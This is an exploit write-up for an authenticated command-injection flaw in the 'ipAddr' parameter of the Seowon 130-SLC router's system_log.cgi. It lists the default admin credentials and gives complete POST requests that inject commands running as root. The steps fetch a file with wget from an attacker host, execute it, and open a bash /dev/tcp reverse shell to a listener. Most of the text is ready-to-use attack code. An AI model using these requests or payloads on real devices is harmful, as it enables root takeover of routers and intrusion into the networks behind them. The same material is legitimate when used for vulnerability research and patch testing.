Seowon 130-SLC router version 1.0.11 suffers from a remote code execution vulnerability.
bfa4fe4c759168816c3ca278f138bd2d# Exploit Title: Seowon 130-SLC router 1.0.11 - 'ipAddr' RCE (Authenticated)
# Date: 5 Aug 2020
# Exploit Author: maj0rmil4d
# Vendor Homepage: http://www.seowonintech.co.kr/en/
# Hardware Link: http://www.seowonintech.co.kr/en/product/detail.asp?num=150&big_kindB05&middle_kindB05_29
# Version: 1.0.11 (Possibly all versions)
The default user/pass is admin/admin
your commands run as root user
the vulnerablity is on the ipAddr parameter in system_log.cgi
Usage:
login to the dashboard.
setup your listener.
download the revshell.txt with the RCE
run the revshell.txt
* here is the RCE request :
POST /cgi-bin/system_log.cgi? HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/201=
00101 Firefox/79.0
Accept: */*
Accept-Language: en-US,en;q0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 183
Origin: http://192.168.1.1
Connection: close
Referer: http://192.168.1.1/diagnostic.html?t201802140812
Cookie: productcpe; cpe_buildTime201802140812; vendormobinnet; =
connTypelte; modelCodeSLC_130G; cpe_multiPdnEnable1; cpe_langen=
; cpe_voip0; cpe_cwmpc1; cpe_snmp1; filesharing0; cpe_switchEna=
ble0; cpe_vlanEnable1; cpe_IPv6Enable1; cpe_foc0; cpe_vpn1; =
cpe_httpsEnable0; cpe_internetMTUEnable0; cpe_sleepMode0; cpe_wlan=
Enable1; cpe_simRestriction0; cpe_opmode1; sessionTime159664408=
4662; cpe_loginadmin; _lang
CommandDiagnostic&traceModetrace&reportIpOnly0&pingPktSize56=
&pingTimeout30&pingCount4&ipAddr;id&maxTTLCnt30&queriesCnt3&=
reportIpOnlyCheckboxon&btnApplyApply&T1596644096617
* to get a reverse shell, setup the listener and download the file on the r=
outer then run it .
* the content of the revshell.txt :
bash -i >& /dev/tcp/192.168.1.10/45214 0>&1
* to download :
POST /cgi-bin/system_log.cgi? HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/201=
00101 Firefox/79.0
Accept: */*
Accept-Language: en-US,en;q0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 183
Origin: http://192.168.1.1
Connection: close
Referer: http://192.168.1.1/diagnostic.html?t201802140812
Cookie: productcpe; cpe_buildTime201802140812; vendormobinnet; =
connTypelte; modelCodeSLC_130G; cpe_multiPdnEnable1; cpe_langen=
; cpe_voip0; cpe_cwmpc1; cpe_snmp1; filesharing0; cpe_switchEna=
ble0; cpe_vlanEnable1; cpe_IPv6Enable1; cpe_foc0; cpe_vpn1; =
cpe_httpsEnable0; cpe_internetMTUEnable0; cpe_sleepMode0; cpe_wlan=
Enable1; cpe_simRestriction0; cpe_opmode1; sessionTime159664408=
4662; cpe_loginadmin; _lang
CommandDiagnostic&traceModetrace&reportIpOnly0&pingPktSize56=
&pingTimeout30&pingCount4&ipAddr;wget http://192.168.1.10/revshell=
.txt&maxTTLCnt30&queriesCnt3&reportIpOnlyCheckboxon&btnApplyApp=
ly&T1596644096617
* to run it :
POST /cgi-bin/system_log.cgi? HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/201=
00101 Firefox/79.0
Accept: */*
Accept-Language: en-US,en;q0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 183
Origin: http://192.168.1.1
Connection: close
Referer: http://192.168.1.1/diagnostic.html?t201802140812
Cookie: productcpe; cpe_buildTime201802140812; vendormobinnet; =
connTypelte; modelCodeSLC_130G; cpe_multiPdnEnable1; cpe_langen=
; cpe_voip0; cpe_cwmpc1; cpe_snmp1; filesharing0; cpe_switchEna=
ble0; cpe_vlanEnable1; cpe_IPv6Enable1; cpe_foc0; cpe_vpn1; =
cpe_httpsEnable0; cpe_internetMTUEnable0; cpe_sleepMode0; cpe_wlan=
Enable1; cpe_simRestriction0; cpe_opmode1; sessionTime159664408=
4662; cpe_loginadmin; _lang
CommandDiagnostic&traceModetrace&reportIpOnly0&pingPktSize56=
&pingTimeout30&pingCount4&ipAddr;bash revshell.txt&maxTTLCnt30&=
queriesCnt3&reportIpOnlyCheckboxon&btnApplyApply&T1596644096617